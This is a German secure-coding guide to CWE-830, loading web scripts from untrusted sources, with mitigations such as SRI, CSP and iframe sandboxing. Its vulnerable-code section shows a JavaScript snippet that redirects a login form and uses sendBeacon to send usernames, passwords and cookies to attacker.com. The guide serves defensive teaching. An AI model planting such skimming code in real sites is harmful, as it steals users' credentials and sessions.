Einbindung von Web-Funktionalität aus nicht vertrauenswürdiger Quelle

Beschreibung

Einbindung von Web-Funktionalität aus nicht vertrauenswürdiger Quelle ist eine Web-Sicherheits-Schwachstelle, bei der ein Produkt Web-Funktionalität - wie JavaScript, CSS oder anderen clientseitigen Code - aus einer externen Domäne einbindet, was diesem Code ermöglicht, innerhalb der Domäne und des Sicherheitskontexts des Produkts zu operieren. Dies ist besonders gefährlich, weil eingebundenes JavaScript vollen Zugriff auf das DOM, Cookies, lokalen Speicher der Seite hat und Anfragen im Namen des Benutzers stellen kann. Selbst vertrauenswürdige Quellen bergen Risiken, wenn sie kompromittiert werden oder der Code während der Übertragung modifiziert wird. Diese Schwachstelle erscheint häufig in "Mashup"-Entwicklung, wo Widgets, die <script src>-Tags verwenden, im Origin der einbindenden Seite ausgeführt werden.

Risiko

Eingebundene Drittanbieter-Skripte operieren mit denselben Privilegien wie First-Party-Code aufgrund der Same-Origin-Policy, die sie nach dem Laden als Same-Origin behandelt. Angreifer, die die externe Quelle kompromittieren oder fälschen, können Benutzeranmeldedaten, Sitzungstoken und persönliche Daten stehlen. Sie können Seiteninhalt modifizieren, Formulare zu angreifer-kontrollierten Servern umleiten oder zusätzliche bösartige Skripte einschleusen. Cross-Site-Scripting (XSS)-Angriffe werden trivial, wenn der Angreifer eingebundenen Code kontrolliert. Die Schwachstelle ist schwer zu erkennen, weil das bösartige Verhalten möglicherweise erst nach dem Seitenladen auftritt und statische Analyse umgeht. Supply-Chain-Angriffe zielen zunehmend auf populäre JavaScript-Bibliotheken und CDNs.

Lösung

Hosten Sie kritische Skripte lokal anstatt sie von externen CDNs zu laden. Verwenden Sie Subresource Integrity (SRI)-Attribute, um Skript-Hashes zu verifizieren, wenn externes Laden notwendig ist. Implementieren Sie Content Security Policy (CSP)-Header, um einzuschränken, welche Domänen ausführbaren Inhalt liefern können. Liefern Sie alle externen Ressourcen über HTTPS, um Man-in-the-Middle-Modifikationen zu verhindern. Überprüfen Sie Drittanbieter-Skripte vor der Einbindung und überwachen Sie auf Änderungen. Erwägen Sie das Sandboxing von Drittanbieter-Widgets in iframes mit geeigneten Sandbox-Attributen. Verwenden Sie automatisierte Tools, um kompromittierte oder anfällige Abhängigkeiten zu erkennen. Wenden Sie das Prinzip der minimalen Privilegien an - binden Sie nur Funktionalität ein, die tatsächlich benötigt wird.

Häufige Auswirkungen

AuswirkungDetails
Integrität, Vertraulichkeit, VerfügbarkeitBereich: Integrität, Vertraulichkeit, Verfügbarkeit

Unerlaubten Code oder Befehle ausführen - Angreifer können bösartige Skripte einschleusen, die Anmeldedaten stehlen, Sitzungen kapern, Seiteninhalt modifizieren oder Benutzer zu bösartigen Seiten umleiten.
VertraulichkeitBereich: Vertraulichkeit

Anwendungsdaten lesen - Bösartige Skripte können auf DOM, Cookies, lokalen Speicher und Formulardaten zugreifen und sensible Informationen exfiltrieren.
IntegritätBereich: Integrität

Anwendungsdaten modifizieren - Eingeschleuster Code kann Formular-Übermittlungen ändern, Seiteninhalt ändern oder Anwendungszustand manipulieren.

Beispielcode

Anfälliger Code

<!-- Anfällig: Laden von Skripten aus externer Domäne ohne Verifizierung -->
<!DOCTYPE html>
<html>
<head>
    <title>Login-Seite</title>

    <!-- Anfällig: HTTP statt HTTPS - MitM-Angriff möglich -->
    <script src="http://analytics.example.com/tracker.js"></script>

    <!-- Anfällig: Keine Integritätsprüfung - CDN könnte kompromittiert sein -->
    <script src="https://cdn.untrusted.com/jquery.min.js"></script>

    <!-- Anfällig: Drittanbieter-Widget mit vollem DOM-Zugriff -->
    <script src="https://widgets.example.com/weatherwidget.js"></script>
</head>
<body>
    <form id="loginForm" action="/login" method="POST">
        <input type="text" name="username" id="username" />
        <input type="password" name="password" id="password" />
        <button type="submit">Login</button>
    </form>
</body>
</html>
// Kompromittiertes externes Skript könnte dies tun:
// Anmeldedaten stehlen durch Modifizieren der Form-Action
document.getElementById('loginForm').action = "https://attacker.com/steal.php";

// Oder Formular-Übermittlung abfangen
document.getElementById('loginForm').addEventListener('submit', function(e) {
    var credentials = {
        username: document.getElementById('username').value,
        password: document.getElementById('password').value,
        cookies: document.cookie
    };
    // An Angreifer senden
    navigator.sendBeacon('https://attacker.com/log', JSON.stringify(credentials));
});

Korrigierter Code

<!-- Korrigiert: Sichere Skript-Einbindung mit SRI und CSP -->
<!DOCTYPE html>
<html>
<head>
    <title>Login-Seite</title>

    <!-- Korrigiert: CSP-Header schränkt Skriptquellen ein -->
    <meta http-equiv="Content-Security-Policy"
          content="script-src 'self' https://trusted-cdn.example.com;
                   style-src 'self' https://trusted-cdn.example.com;
                   default-src 'self'">

    <!-- Korrigiert: HTTPS mit Subresource Integrity -->
    <script src="https://trusted-cdn.example.com/jquery-3.6.0.min.js"
            integrity="sha384-vtXRMe3mGCbOeY7l30aIg8H9p3GdeSe4IFlP6G8JMa7o7lXvnz3GFKzPxzJdPfGK"
            crossorigin="anonymous"></script>

    <!-- Korrigiert: Selbst gehostete kritische Skripte -->
    <script src="/static/js/analytics.js"></script>
</head>
<body>
    <form id="loginForm" action="/login" method="POST">
        <input type="text" name="username" id="username" />
        <input type="password" name="password" id="password" />
        <button type="submit">Login</button>
    </form>
</body>
</html>
// Korrigiert: Nur aus Allowlist-Quellen mit Integritätsprüfung laden
const TRUSTED_SCRIPTS = {
    'analytics': {
        url: 'https://trusted-cdn.example.com/analytics.js',
        integrity: 'sha384-abc123...'
    },
    'charts': {
        url: 'https://trusted-cdn.example.com/charts.js',
        integrity: 'sha384-def456...'
    }
};

function fixedLoadScript(widgetName) {
    const config = TRUSTED_SCRIPTS[widgetName];
    if (!config) {
        console.error('Unbekanntes Widget:', widgetName);
        return;
    }

    const script = document.createElement('script');
    script.src = config.url;
    script.integrity = config.integrity;
    script.crossOrigin = 'anonymous';

    script.onerror = function() {
        console.error('Skript könnte nicht geladen werden oder Integritätsprüfung fehlgeschlagen');
    };

    document.head.appendChild(script);
}
<!-- Korrigiert: Drittanbieter-Inhalt in iframe sandboxen -->
<iframe
    src="https://widgets.example.com/weather"
    sandbox="allow-scripts"
    allow=""
    style="border: none; width: 200px; height: 100px;">
</iframe>
<!-- sandbox schränkt ein: keine Formular-Übermittlung, keine Top-Navigation, keine Popups -->
<!-- 'allow=""' verweigert alle Berechtigungen (Kamera, Mikrofon, Geolokation, etc.) -->

Verwandte CWEs

  • CWE-829: Einbindung von Funktionalität aus nicht vertrauenswürdiger Kontrollsphäre (Eltern)
  • CWE-79: Unzureichende Neutralisierung von Eingaben während der Webseiten-Generierung (verwandt - XSS)
  • CWE-494: Download von Code ohne Integritätsprüfung (verwandt)

Referenzen

  1. MITRE Corporation. "CWE-830: Inclusion of Web Functionality from an Untrusted Source." https://cwe.mitre.org/data/definitions/830.html
  2. OWASP. "Third Party JavaScript Management Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html
  3. MDN Web Docs. "Content Security Policy (CSP)." https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP